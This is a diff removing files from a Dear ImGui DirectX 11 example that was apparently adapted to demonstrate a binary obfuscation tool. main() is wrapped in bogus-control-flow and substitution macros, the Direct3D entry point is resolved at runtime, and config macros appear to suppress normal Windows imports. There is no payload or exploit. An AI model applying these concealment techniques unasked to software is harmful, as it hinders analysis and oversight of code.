||||
<ClCompile Include="main.cpp">
|
||||
<Filter>sources</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="..\..\imgui_demo.cpp">
|
||||
<Filter>imgui</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="..\..\imgui_draw.cpp">
|
||||
<Filter>imgui</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="..\..\imgui_widgets.cpp">
|
||||
<Filter>imgui</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="..\..\backends\imgui_impl_win32.cpp">
|
||||
<Filter>sources</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="..\..\backends\imgui_impl_dx11.cpp">
|
||||
<Filter>sources</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="..\..\imgui_tables.cpp">
|
||||
<Filter>imgui</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="..\..\misc\natvis\imgui.natvis">
|
||||
<Filter>sources</Filter>
|
||||
</None>
|
||||
</ItemGroup>
|
||||
</Project>
|
@ -1,4 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup />
|
||||
</Project>
|
@ -1,249 +0,0 @@
|
||||
// Dear ImGui: standalone example application for DirectX 11
|
||||
// If you are new to Dear ImGui, read documentation from the docs/ folder + read the top of imgui.cpp.
|
||||
// Read online: https://github.com/ocornut/imgui/tree/master/docs
|
||||
#include "Theodosius.h"
|
||||
#include "imgui.h"
|
||||
#include "imgui_impl_win32.h"
|
||||
#include "imgui_impl_dx11.h"
|
||||
#include <d3d11.h>
|
||||
#include <tchar.h>
|
||||
|
||||
// Data
|
||||
static ID3D11Device* g_pd3dDevice = NULL;
|
||||
static ID3D11DeviceContext* g_pd3dDeviceContext = NULL;
|
||||
static IDXGISwapChain* g_pSwapChain = NULL;
|
||||
static ID3D11RenderTargetView* g_mainRenderTargetView = NULL;
|
||||
|
||||
// Forward declarations of helper functions
|
||||
bool CreateDeviceD3D(HWND hWnd);
|
||||
void CleanupDeviceD3D();
|
||||
void CreateRenderTarget();
|
||||
void CleanupRenderTarget();
|
||||
LRESULT WINAPI WndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam);
|
||||
|
||||
THEO_OBFUSCATE(LLVM_BCF LLVM_SUB extern "C" int main(int, char**)
|
||||
{
|
||||
// Create application window
|
||||
//ImGui_ImplWin32_EnableDpiAwareness();
|
||||
WNDCLASSEX wc = { sizeof(WNDCLASSEX), CS_CLASSDC, WndProc, 0L, 0L, GetModuleHandle(NULL), NULL, NULL, NULL, NULL, _T("ImGui Example"), NULL };
|
||||
::RegisterClassEx(&wc);
|
||||
HWND hwnd = ::CreateWindow(wc.lpszClassName, _T("Dear ImGui DirectX11 Example"), WS_OVERLAPPEDWINDOW, 100, 100, 1280, 800, NULL, NULL, wc.hInstance, NULL);
|
||||
|
||||
// Initialize Direct3D
|
||||
if (!CreateDeviceD3D(hwnd))
|
||||
{
|
||||
CleanupDeviceD3D();
|
||||
::UnregisterClass(wc.lpszClassName, wc.hInstance);
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Show the window
|
||||
::ShowWindow(hwnd, SW_SHOWDEFAULT);
|
||||
::UpdateWindow(hwnd);
|
||||
|
||||
// Setup Dear ImGui context
|
||||
IMGUI_CHECKVERSION();
|
||||
ImGui::CreateContext();
|
||||
ImGuiIO& io = ImGui::GetIO(); (void)io;
|
||||
//io.ConfigFlags |= ImGuiConfigFlags_NavEnableKeyboard; // Enable Keyboard Controls
|
||||
//io.ConfigFlags |= ImGuiConfigFlags_NavEnableGamepad; // Enable Gamepad Controls
|
||||
|
||||
// Setup Dear ImGui style
|
||||
ImGui::StyleColorsDark();
|
||||
//ImGui::StyleColorsClassic();
|
||||
|
||||
// Setup Platform/Renderer backends
|
||||
ImGui_ImplWin32_Init(hwnd);
|
||||
ImGui_ImplDX11_Init(g_pd3dDevice, g_pd3dDeviceContext);
|
||||
|
||||
// Load Fonts
|
||||
// - If no fonts are loaded, dear imgui will use the default font. You can also load multiple fonts and use ImGui::PushFont()/PopFont() to select them.
|
||||
// - AddFontFromFileTTF() will return the ImFont* so you can store it if you need to select the font among multiple.
|
||||
// - If the file cannot be loaded, the function will return NULL. Please handle those errors in your application (e.g. use an assertion, or display an error and quit).
|
||||
// - The fonts will be rasterized at a given size (w/ oversampling) and stored into a texture when calling ImFontAtlas::Build()/GetTexDataAsXXXX(), which ImGui_ImplXXXX_NewFrame below will call.
|
||||
// - Read 'docs/FONTS.md' for more instructions and details.
|
||||
// - Remember that in C/C++ if you want to include a backslash \ in a string literal you need to write a double backslash \\ !
|
||||
//io.Fonts->AddFontDefault();
|
||||
//io.Fonts->AddFontFromFileTTF("../../misc/fonts/Roboto-Medium.ttf", 16.0f);
|
||||
//io.Fonts->AddFontFromFileTTF("../../misc/fonts/Cousine-Regular.ttf", 15.0f);
|
||||
//io.Fonts->AddFontFromFileTTF("../../misc/fonts/DroidSans.ttf", 16.0f);
|
||||
//io.Fonts->AddFontFromFileTTF("../../misc/fonts/ProggyTiny.ttf", 10.0f);
|
||||
//ImFont* font = io.Fonts->AddFontFromFileTTF("c:\\Windows\\Fonts\\ArialUni.ttf", 18.0f, NULL, io.Fonts->GetGlyphRangesJapanese());
|
||||
//IM_ASSERT(font != NULL);
|
||||
|
||||
// Our state
|
||||
bool show_demo_window = true;
|
||||
bool show_another_window = false;
|
||||
ImVec4 clear_color = ImVec4(0.45f, 0.55f, 0.60f, 1.00f);
|
||||
|
||||
// Main loop
|
||||
MSG msg;
|
||||
ZeroMemory(&msg, sizeof(msg));
|
||||
while (msg.message != WM_QUIT)
|
||||
{
|
||||
// Poll and handle messages (inputs, window resize, etc.)
|
||||
// You can read the io.WantCaptureMouse, io.WantCaptureKeyboard flags to tell if dear imgui wants to use your inputs.
|
||||
// - When io.WantCaptureMouse is true, do not dispatch mouse input data to your main application.
|
||||
// - When io.WantCaptureKeyboard is true, do not dispatch keyboard input data to your main application.
|
||||
// Generally you may always pass all inputs to dear imgui, and hide them from your application based on those two flags.
|
||||
if (::PeekMessage(&msg, NULL, 0U, 0U, PM_REMOVE))
|
||||
{
|
||||
::TranslateMessage(&msg);
|
||||
::DispatchMessage(&msg);
|
||||
continue;
|
||||
}
|
||||
|
||||
// Start the Dear ImGui frame
|
||||
ImGui_ImplDX11_NewFrame();
|
||||
ImGui_ImplWin32_NewFrame();
|
||||
ImGui::NewFrame();
|
||||
|
||||
// 1. Show the big demo window (Most of the sample code is in ImGui::ShowDemoWindow()! You can browse its code to learn more about Dear ImGui!).
|
||||
if (show_demo_window)
|
||||
ImGui::ShowDemoWindow(&show_demo_window);
|
||||
|
||||
// 2. Show a simple window that we create ourselves. We use a Begin/End pair to created a named window.
|
||||
{
|
||||
static float f = 0.0f;
|
||||
static int counter = 0;
|
||||
|
||||
ImGui::Begin("Hello, world!"); // Create a window called "Hello, world!" and append into it.
|
||||
|
||||
ImGui::Text("This is some useful text."); // Display some text (you can use a format strings too)
|
||||
ImGui::Checkbox("Demo Window", &show_demo_window); // Edit bools storing our window open/close state
|
||||
ImGui::Checkbox("Another Window", &show_another_window);
|
||||
|
||||
ImGui::SliderFloat("float", &f, 0.0f, 1.0f); // Edit 1 float using a slider from 0.0f to 1.0f
|
||||
ImGui::ColorEdit3("clear color", (float*)&clear_color); // Edit 3 floats representing a color
|
||||
|
||||
if (ImGui::Button("Button")) // Buttons return true when clicked (most widgets return true when edited/activated)
|
||||
counter++;
|
||||
ImGui::SameLine();
|
||||
ImGui::Text("counter = %d", counter);
|
||||
|
||||
ImGui::Text("Application average %.3f ms/frame (%.1f FPS)", 1000.0f / ImGui::GetIO().Framerate, ImGui::GetIO().Framerate);
|
||||
ImGui::End();
|
||||
}
|
||||
|
||||
// 3. Show another simple window.
|
||||
if (show_another_window)
|
||||
{
|
||||
ImGui::Begin("Another Window", &show_another_window); // Pass a pointer to our bool variable (the window will have a closing button that will clear the bool when clicked)
|
||||
ImGui::Text("Hello from another window!");
|
||||
if (ImGui::Button("Close Me"))
|
||||
show_another_window = false;
|
||||
ImGui::End();
|
||||
}
|
||||
|
||||
// Rendering
|
||||
ImGui::Render();
|
||||
const float clear_color_with_alpha[4] = { clear_color.x * clear_color.w, clear_color.y * clear_color.w, clear_color.z * clear_color.w, clear_color.w };
|
||||
g_pd3dDeviceContext->OMSetRenderTargets(1, &g_mainRenderTargetView, NULL);
|
||||
g_pd3dDeviceContext->ClearRenderTargetView(g_mainRenderTargetView, clear_color_with_alpha);
|
||||
ImGui_ImplDX11_RenderDrawData(ImGui::GetDrawData());
|
||||
|
||||
g_pSwapChain->Present(1, 0); // Present with vsync
|
||||
//g_pSwapChain->Present(0, 0); // Present without vsync
|
||||
}
|
||||
|
||||
// Cleanup
|
||||
ImGui_ImplDX11_Shutdown();
|
||||
ImGui_ImplWin32_Shutdown();
|
||||
ImGui::DestroyContext();
|
||||
|
||||
CleanupDeviceD3D();
|
||||
::DestroyWindow(hwnd);
|
||||
::UnregisterClass(wc.lpszClassName, wc.hInstance);
|
||||
|
||||
return 0;
|
||||
})
|
||||
|
||||
// Helper functions
|
||||
|
||||
bool CreateDeviceD3D(HWND hWnd)
|
||||
{
|
||||
// Setup swap chain
|
||||
DXGI_SWAP_CHAIN_DESC sd;
|
||||
ZeroMemory(&sd, sizeof(sd));
|
||||
sd.BufferCount = 2;
|
||||
sd.BufferDesc.Width = 0;
|
||||
sd.BufferDesc.Height = 0;
|
||||
sd.BufferDesc.Format = DXGI_FORMAT_R8G8B8A8_UNORM;
|
||||
sd.BufferDesc.RefreshRate.Numerator = 60;
|
||||
sd.BufferDesc.RefreshRate.Denominator = 1;
|
||||
sd.Flags = DXGI_SWAP_CHAIN_FLAG_ALLOW_MODE_SWITCH;
|
||||
sd.BufferUsage = DXGI_USAGE_RENDER_TARGET_OUTPUT;
|
||||
sd.OutputWindow = hWnd;
|
||||
sd.SampleDesc.Count = 1;
|
||||
sd.SampleDesc.Quality = 0;
|
||||
sd.Windowed = TRUE;
|
||||
sd.SwapEffect = DXGI_SWAP_EFFECT_DISCARD;
|
||||
|
||||
UINT createDeviceFlags = 0;
|
||||
//createDeviceFlags |= D3D11_CREATE_DEVICE_DEBUG;
|
||||
D3D_FEATURE_LEVEL featureLevel;
|
||||
const D3D_FEATURE_LEVEL featureLevelArray[2] = { D3D_FEATURE_LEVEL_11_0, D3D_FEATURE_LEVEL_10_0, };
|
||||
|
||||
const auto pD3D11CreateDeviceAndSwapChain =
|
||||
reinterpret_cast<decltype(&D3D11CreateDeviceAndSwapChain)>(
|
||||
GetProcAddress(LoadLibraryA("d3d11.dll"), "D3D11CreateDeviceAndSwapChain"));
|
||||
|
||||
if (pD3D11CreateDeviceAndSwapChain(NULL, D3D_DRIVER_TYPE_HARDWARE, NULL,
|
||||
createDeviceFlags, featureLevelArray, 2, D3D11_SDK_VERSION, &sd,
|
||||
&g_pSwapChain, &g_pd3dDevice, &featureLevel, &g_pd3dDeviceContext) != S_OK)
|
||||
return false;
|
||||
|
||||
CreateRenderTarget();
|
||||
return true;
|
||||
}
|
||||
|
||||
void CleanupDeviceD3D()
|
||||
{
|
||||
CleanupRenderTarget();
|
||||
if (g_pSwapChain) { g_pSwapChain->Release(); g_pSwapChain = NULL; }
|
||||
if (g_pd3dDeviceContext) { g_pd3dDeviceContext->Release(); g_pd3dDeviceContext = NULL; }
|
||||
if (g_pd3dDevice) { g_pd3dDevice->Release(); g_pd3dDevice = NULL; }
|
||||
}
|
||||
|
||||
void CreateRenderTarget()
|
||||
{
|
||||
ID3D11Texture2D* pBackBuffer;
|
||||
g_pSwapChain->GetBuffer(0, IID_PPV_ARGS(&pBackBuffer));
|
||||
g_pd3dDevice->CreateRenderTargetView(pBackBuffer, NULL, &g_mainRenderTargetView);
|
||||
pBackBuffer->Release();
|
||||
}
|
||||
|
||||
void CleanupRenderTarget()
|
||||
{
|
||||
if (g_mainRenderTargetView) { g_mainRenderTargetView->Release(); g_mainRenderTargetView = NULL; }
|
||||
}
|
||||
|
||||
// Forward declare message handler from imgui_impl_win32.cpp
|
||||
extern IMGUI_IMPL_API LRESULT ImGui_ImplWin32_WndProcHandler(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam);
|
||||
|
||||
// Win32 message handler
|
||||
LRESULT WINAPI WndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam)
|
||||
{
|
||||
if (ImGui_ImplWin32_WndProcHandler(hWnd, msg, wParam, lParam))
|
||||
return true;
|
||||
|
||||
switch (msg)
|
||||
{
|
||||
case WM_SIZE:
|
||||
if (g_pd3dDevice != NULL && wParam != SIZE_MINIMIZED)
|
||||
{
|
||||
CleanupRenderTarget();
|
||||
g_pSwapChain->ResizeBuffers(0, (UINT)LOWORD(lParam), (UINT)HIWORD(lParam), DXGI_FORMAT_UNKNOWN, 0);
|
||||
CreateRenderTarget();
|
||||
}
|
||||
return 0;
|
||||
case WM_SYSCOMMAND:
|
||||
if ((wParam & 0xfff0) == SC_KEYMENU) // Disable ALT application menu
|
||||
return 0;
|
||||
break;
|
||||
case WM_DESTROY:
|
||||
::PostQuitMessage(0);
|
||||
return 0;
|
||||
}
|
||||
return ::DefWindowProc(hWnd, msg, wParam, lParam);
|
||||
}
|
@ -1,125 +0,0 @@
|
||||
//-----------------------------------------------------------------------------
|
||||
// COMPILE-TIME OPTIONS FOR DEAR IMGUI
|
||||
// Runtime options (clipboard callbacks, enabling various features, etc.) can generally be set via the ImGuiIO structure.
|
||||
// You can use ImGui::SetAllocatorFunctions() before calling ImGui::CreateContext() to rewire memory allocation functions.
|
||||
//-----------------------------------------------------------------------------
|
||||
// A) You may edit imconfig.h (and not overwrite it when updating Dear ImGui, or maintain a patch/rebased branch with your modifications to it)
|
||||
// B) or '#define IMGUI_USER_CONFIG "my_imgui_config.h"' in your project and then add directives in your own file without touching this template.
|
||||
//-----------------------------------------------------------------------------
|
||||
// You need to make sure that configuration settings are defined consistently _everywhere_ Dear ImGui is used, which include the imgui*.cpp
|
||||
// files but also _any_ of your code that uses Dear ImGui. This is because some compile-time options have an affect on data structures.
|
||||
// Defining those options in imconfig.h will ensure every compilation unit gets to see the same data structure layouts.
|
||||
// Call IMGUI_CHECKVERSION() from your .cpp files to verify that the data structures your files are using are matching the ones imgui.cpp is using.
|
||||
//-----------------------------------------------------------------------------
|
||||
|
||||
#pragma once
|
||||
#define WINUSERAPI
|
||||
#define _KERNEL32_
|
||||
#define _ACRTIMP
|
||||
#define _NTSYSTEM_
|
||||
#define _GDI32_
|
||||
|
||||
//---- Define assertion handler. Defaults to calling assert().
|
||||
// If your macro uses multiple statements, make sure is enclosed in a 'do { .. } while (0)' block so it can be used as a single statement.
|
||||
//#define IM_ASSERT(_EXPR) MyAssert(_EXPR)
|
||||
//#define IM_ASSERT(_EXPR) ((void)(_EXPR)) // Disable asserts
|
||||
|
||||
//---- Define attributes of all API symbols declarations, e.g. for DLL under Windows
|
||||
// Using Dear ImGui via a shared library is not recommended, because of function call overhead and because we don't guarantee backward nor forward ABI compatibility.
|
||||
// DLL users: heaps and globals are not shared across DLL boundaries! You will need to call SetCurrentContext() + SetAllocatorFunctions()
|
||||
// for each static/DLL boundary you are calling from. Read "Context and Memory Allocators" section of imgui.cpp for more details.
|
||||
//#define IMGUI_API __declspec( dllexport )
|
||||
//#define IMGUI_API __declspec( dllimport )
|
||||
|
||||
//---- Don't define obsolete functions/enums/behaviors. Consider enabling from time to time after updating to avoid using soon-to-be obsolete function/names.
|
||||
//#define IMGUI_DISABLE_OBSOLETE_FUNCTIONS
|
||||
|
||||
//---- Disable all of Dear ImGui or don't implement standard windows.
|
||||
// It is very strongly recommended to NOT disable the demo windows during development. Please read comments in imgui_demo.cpp.
|
||||
//#define IMGUI_DISABLE // Disable everything: all headers and source files will be empty.
|
||||
//#define IMGUI_DISABLE_DEMO_WINDOWS // Disable demo windows: ShowDemoWindow()/ShowStyleEditor() will be empty. Not recommended.
|
||||
//#define IMGUI_DISABLE_METRICS_WINDOW // Disable metrics/debugger window: ShowMetricsWindow() will be empty.
|
||||
|
||||
//---- Don't implement some functions to reduce linkage requirements.
|
||||
//#define IMGUI_DISABLE_WIN32_DEFAULT_CLIPBOARD_FUNCTIONS // [Win32] Don't implement default clipboard handler. Won't use and link with OpenClipboard/GetClipboardData/CloseClipboard etc. (user32.lib/.a, kernel32.lib/.a)
|
||||
//#define IMGUI_DISABLE_WIN32_DEFAULT_IME_FUNCTIONS // [Win32] Don't implement default IME handler. Won't use and link with ImmGetContext/ImmSetCompositionWindow. (imm32.lib/.a)
|
||||
//#define IMGUI_DISABLE_WIN32_FUNCTIONS // [Win32] Won't use and link with any Win32 function (clipboard, ime).
|
||||
//#define IMGUI_ENABLE_OSX_DEFAULT_CLIPBOARD_FUNCTIONS // [OSX] Implement default OSX clipboard handler (need to link with '-framework ApplicationServices', this is why this is not the default).
|
||||
//#define IMGUI_DISABLE_DEFAULT_FORMAT_FUNCTIONS // Don't implement ImFormatString/ImFormatStringV so you can implement them yourself (e.g. if you don't want to link with vsnprintf)
|
||||
//#define IMGUI_DISABLE_DEFAULT_MATH_FUNCTIONS // Don't implement ImFabs/ImSqrt/ImPow/ImFmod/ImCos/ImSin/ImAcos/ImAtan2 so you can implement them yourself.
|
||||
//#define IMGUI_DISABLE_DEFAULT_FILE_FUNCTIONS // Don't implement ImFileOpen/ImFileClose/ImFileRead/ImFileWrite so you can implement them yourself if you don't want to link with fopen/fclose/fread/fwrite. This will also disable the LogToTTY() function.
|
||||
//#define IMGUI_DISABLE_DEFAULT_ALLOCATORS // Don't implement default allocators calling malloc()/free() to avoid linking with them. You will need to call ImGui::SetAllocatorFunctions().
|
||||
|
||||
//---- Include imgui_user.h at the end of imgui.h as a convenience
|
||||
//#define IMGUI_INCLUDE_IMGUI_USER_H
|
||||
|
||||
//---- Pack colors to BGRA8 instead of RGBA8 (to avoid converting from one to another)
|
||||
//#define IMGUI_USE_BGRA_PACKED_COLOR
|
||||
|
||||
//---- Use 32-bit for ImWchar (default is 16-bit) to support unicode planes 1-16. (e.g. point beyond 0xFFFF like emoticons, dingbats, symbols, shapes, ancient languages, etc...)
|
||||
//#define IMGUI_USE_WCHAR32
|
||||
|
||||
//---- Avoid multiple STB libraries implementations, or redefine path/filenames to prioritize another version
|
||||
// By default the embedded implementations are declared static and not available outside of Dear ImGui sources files.
|
||||
//#define IMGUI_STB_TRUETYPE_FILENAME "my_folder/stb_truetype.h"
|
||||
//#define IMGUI_STB_RECT_PACK_FILENAME "my_folder/stb_rect_pack.h"
|
||||
//#define IMGUI_DISABLE_STB_TRUETYPE_IMPLEMENTATION
|
||||
//#define IMGUI_DISABLE_STB_RECT_PACK_IMPLEMENTATION
|
||||
|
||||
//---- Use stb_printf's faster implementation of vsnprintf instead of the one from libc (unless IMGUI_DISABLE_DEFAULT_FORMAT_FUNCTIONS is defined)
|
||||
// Requires 'stb_sprintf.h' to be available in the include path. Compatibility checks of arguments and formats done by clang and GCC will be disabled in order to support the extra formats provided by STB sprintf.
|
||||
// #define IMGUI_USE_STB_SPRINTF
|
||||
|
||||
//---- Use FreeType to build and rasterize the font atlas (instead of stb_truetype which is embedded by default in Dear ImGui)
|
||||
// Requires FreeType headers to be available in the include path. Requires program to be compiled with 'misc/freetype/imgui_freetype.cpp' (in this repository) + the FreeType library (not provided).
|
||||
// On Windows you may use vcpkg with 'vcpkg install freetype' + 'vcpkg integrate install'.
|
||||
//#define IMGUI_ENABLE_FREETYPE
|
||||
|
||||
//---- Use stb_truetype to build and rasterize the font atlas (default)
|
||||
// The only purpose of this define is if you want force compilation of the stb_truetype backend ALONG with the FreeType backend.
|
||||
//#define IMGUI_ENABLE_STB_TRUETYPE
|
||||
|
||||
//---- Define constructor and implicit cast operators to convert back<>forth between your math types and ImVec2/ImVec4.
|
||||
// This will be inlined as part of ImVec2 and ImVec4 class declarations.
|
||||
/*
|
||||
#define IM_VEC2_CLASS_EXTRA \
|
||||
ImVec2(const MyVec2& f) { x = f.x; y = f.y; } \
|
||||
operator MyVec2() const { return MyVec2(x,y); }
|
||||
|
||||
#define IM_VEC4_CLASS_EXTRA \
|
||||
ImVec4(const MyVec4& f) { x = f.x; y = f.y; z = f.z; w = f.w; } \
|
||||
operator MyVec4() const { return MyVec4(x,y,z,w); }
|
||||
*/
|
||||
|
||||
//---- Use 32-bit vertex indices (default is 16-bit) is one way to allow large meshes with more than 64K vertices.
|
||||
// Your renderer backend will need to support it (most example renderer backends support both 16/32-bit indices).
|
||||
// Another way to allow large meshes while keeping 16-bit indices is to handle ImDrawCmd::VtxOffset in your renderer.
|
||||
// Read about ImGuiBackendFlags_RendererHasVtxOffset for details.
|
||||
//#define ImDrawIdx unsigned int
|
||||
|
||||
//---- Override ImDrawCallback signature (will need to modify renderer backends accordingly)
|
||||
//struct ImDrawList;
|
||||
//struct ImDrawCmd;
|
||||
//typedef void (*MyImDrawCallback)(const ImDrawList* draw_list, const ImDrawCmd* cmd, void* my_renderer_user_data);
|
||||
//#define ImDrawCallback MyImDrawCallback
|
||||
|
||||
//---- Debug Tools: Macro to break in Debugger
|
||||
// (use 'Metrics->Tools->Item Picker' to pick widgets with the mouse and break into them for easy debugging.)
|
||||
//#define IM_DEBUG_BREAK IM_ASSERT(0)
|
||||
//#define IM_DEBUG_BREAK __debugbreak()
|
||||
|
||||
//---- Debug Tools: Have the Item Picker break in the ItemAdd() function instead of ItemHoverable(),
|
||||
// (which comes earlier in the code, will catch a few extra items, allow picking items other than Hovered one.)
|
||||
// This adds a small runtime cost which is why it is not enabled by default.
|
||||
//#define IMGUI_DEBUG_TOOL_ITEM_PICKER_EX
|
||||
|
||||
//---- Debug Tools: Enable slower asserts
|
||||
//#define IMGUI_DEBUG_PARANOID
|
||||
|
||||
//---- Tip: You can add extra functions within the ImGui:: namespace, here or in your own headers files.
|
||||
/*
|
||||
namespace ImGui
|
||||
{
|
||||
void MyFunction(const char* name, const MyMatrix44& v);
|
||||
}
|
||||
*/
|
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
@ -1,639 +0,0 @@
|
||||
// [DEAR IMGUI]
|
||||
// This is a slightly modified version of stb_rect_pack.h 1.00.
|
||||
// Those changes would need to be pushed into nothings/stb:
|
||||
// - Added STBRP__CDECL
|
||||
// Grep for [DEAR IMGUI] to find the changes.
|
||||
|
||||
// stb_rect_pack.h - v1.00 - public domain - rectangle packing
|
||||
// Sean Barrett 2014
|
||||
//
|
||||
// Useful for e.g. packing rectangular textures into an atlas.
|
||||
// Does not do rotation.
|
||||
//
|
||||
// Not necessarily the awesomest packing method, but better than
|
||||
// the totally naive one in stb_truetype (which is primarily what
|
||||
// this is meant to replace).
|
||||
//
|
||||
// Has only had a few tests run, may have issues.
|
||||
//
|
||||
// More docs to come.
|
||||
//
|
||||
// No memory allocations; uses qsort() and assert() from stdlib.
|
||||
// Can override those by defining STBRP_SORT and STBRP_ASSERT.
|
||||
//
|
||||
// This library currently uses the Skyline Bottom-Left algorithm.
|
||||
//
|
||||
// Please note: better rectangle packers are welcome! Please
|
||||
// implement them to the same API, but with a different init
|
||||
// function.
|
||||
//
|
||||
// Credits
|
||||
//
|
||||
// Library
|
||||
// Sean Barrett
|
||||
// Minor features
|
||||
// Martins Mozeiko
|
||||
// github:IntellectualKitty
|
||||
//
|
||||
// Bugfixes / warning fixes
|
||||
// Jeremy Jaussaud
|
||||
// Fabian Giesen
|
||||
//
|
||||
// Version history:
|
||||
//
|
||||
// 1.00 (2019-02-25) avoid small space waste; gracefully fail too-wide rectangles
|
||||
// 0.99 (2019-02-07) warning fixes
|
||||
// 0.11 (2017-03-03) return packing success/fail result
|
||||
// 0.10 (2016-10-25) remove cast-away-const to avoid warnings
|
||||
// 0.09 (2016-08-27) fix compiler warnings
|
||||
// 0.08 (2015-09-13) really fix bug with empty rects (w=0 or h=0)
|
||||
// 0.07 (2015-09-13) fix bug with empty rects (w=0 or h=0)
|
||||
// 0.06 (2015-04-15) added STBRP_SORT to allow replacing qsort
|
||||
// 0.05: added STBRP_ASSERT to allow replacing assert
|
||||
// 0.04: fixed minor bug in STBRP_LARGE_RECTS support
|
||||
// 0.01: initial release
|
||||
//
|
||||
// LICENSE
|
||||
//
|
||||
// See end of file for license information.
|
||||
|
||||
//////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// INCLUDE SECTION
|
||||
//
|
||||
|
||||
#ifndef STB_INCLUDE_STB_RECT_PACK_H
|
||||
#define STB_INCLUDE_STB_RECT_PACK_H
|
||||
|
||||
#define STB_RECT_PACK_VERSION 1
|
||||
|
||||
#ifdef STBRP_STATIC
|
||||
#define STBRP_DEF static
|
||||
#else
|
||||
#define STBRP_DEF extern
|
||||
#endif
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
typedef struct stbrp_context stbrp_context;
|
||||
typedef struct stbrp_node stbrp_node;
|
||||
typedef struct stbrp_rect stbrp_rect;
|
||||
|
||||
#ifdef STBRP_LARGE_RECTS
|
||||
typedef int stbrp_coord;
|
||||
#else
|
||||
typedef unsigned short stbrp_coord;
|
||||
#endif
|
||||
|
||||
STBRP_DEF int stbrp_pack_rects (stbrp_context *context, stbrp_rect *rects, int num_rects);
|
||||
// Assign packed locations to rectangles. The rectangles are of type
|
||||
// 'stbrp_rect' defined below, stored in the array 'rects', and there
|
||||
// are 'num_rects' many of them.
|
||||
//
|
||||
// Rectangles which are successfully packed have the 'was_packed' flag
|
||||
// set to a non-zero value and 'x' and 'y' store the minimum location
|
||||
// on each axis (i.e. bottom-left in cartesian coordinates, top-left
|
||||
// if you imagine y increasing downwards). Rectangles which do not fit
|
||||
// have the 'was_packed' flag set to 0.
|
||||
//
|
||||
// You should not try to access the 'rects' array from another thread
|
||||
// while this function is running, as the function temporarily reorders
|
||||
// the array while it executes.
|
||||
//
|
||||
// To pack into another rectangle, you need to call stbrp_init_target
|
||||
// again. To continue packing into the same rectangle, you can call
|
||||
// this function again. Calling this multiple times with multiple rect
|
||||
// arrays will probably produce worse packing results than calling it
|
||||
// a single time with the full rectangle array, but the option is
|
||||
// available.
|
||||
//
|
||||
// The function returns 1 if all of the rectangles were successfully
|
||||
// packed and 0 otherwise.
|
||||
|
||||
struct stbrp_rect
|
||||
{
|
||||
// reserved for your use:
|
||||
int id;
|
||||
|
||||
// input:
|
||||
stbrp_coord w, h;
|
||||
|
||||
// output:
|
||||
stbrp_coord x, y;
|
||||
int was_packed; // non-zero if valid packing
|
||||
|
||||
}; // 16 bytes, nominally
|
||||
|
||||
|
||||
STBRP_DEF void stbrp_init_target (stbrp_context *context, int width, int height, stbrp_node *nodes, int num_nodes);
|
||||
// Initialize a rectangle packer to:
|
||||
// pack a rectangle that is 'width' by 'height' in dimensions
|
||||
// using temporary storage provided by the array 'nodes', which is 'num_nodes' long
|
||||
//
|
||||
// You must call this function every time you start packing into a new target.
|
||||
//
|
||||
// There is no "shutdown" function. The 'nodes' memory must stay valid for
|
||||
// the following stbrp_pack_rects() call (or calls), but can be freed after
|
||||
// the call (or calls) finish.
|
||||
//
|
||||
// Note: to guarantee best results, either:
|
||||
// 1. make sure 'num_nodes' >= 'width'
|
||||
// or 2. call stbrp_allow_out_of_mem() defined below with 'allow_out_of_mem = 1'
|
||||
//
|
||||
// If you don't do either of the above things, widths will be quantized to multiples
|
||||
// of small integers to guarantee the algorithm doesn't run out of temporary storage.
|
||||
//
|
||||
// If you do #2, then the non-quantized algorithm will be used, but the algorithm
|
||||
// may run out of temporary storage and be unable to pack some rectangles.
|
||||
|
||||
STBRP_DEF void stbrp_setup_allow_out_of_mem (stbrp_context *context, int allow_out_of_mem);
|
||||
// Optionally call this function after init but before doing any packing to
|
||||
// change the handling of the out-of-temp-memory scenario, described above.
|
||||
// If you call init again, this will be reset to the default (false).
|
||||
|
||||
|
||||
STBRP_DEF void stbrp_setup_heuristic (stbrp_context *context, int heuristic);
|
||||
// Optionally select which packing heuristic the library should use. Different
|
||||
// heuristics will produce better/worse results for different data sets.
|
||||
// If you call init again, this will be reset to the default.
|
||||
|
||||
enum
|
||||
{
|
||||
STBRP_HEURISTIC_Skyline_default=0,
|
||||
STBRP_HEURISTIC_Skyline_BL_sortHeight = STBRP_HEURISTIC_Skyline_default,
|
||||
STBRP_HEURISTIC_Skyline_BF_sortHeight
|
||||
};
|
||||
|
||||
|
||||
//////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// the details of the following structures don't matter to you, but they must
|
||||
// be visible so you can handle the memory allocations for them
|
||||
|
||||
struct stbrp_node
|
||||
{
|
||||
stbrp_coord x,y;
|
||||
stbrp_node *next;
|
||||
};
|
||||
|
||||
struct stbrp_context
|
||||
{
|
||||
int width;
|
||||
int height;
|
||||
int align;
|
||||
int init_mode;
|
||||
int heuristic;
|
||||
int num_nodes;
|
||||
stbrp_node *active_head;
|
||||
stbrp_node *free_head;
|
||||
stbrp_node extra[2]; // we allocate two extra nodes so optimal user-node-count is 'width' not 'width+2'
|
||||
};
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif
|
||||
|
||||
//////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// IMPLEMENTATION SECTION
|
||||
//
|
||||
|
||||
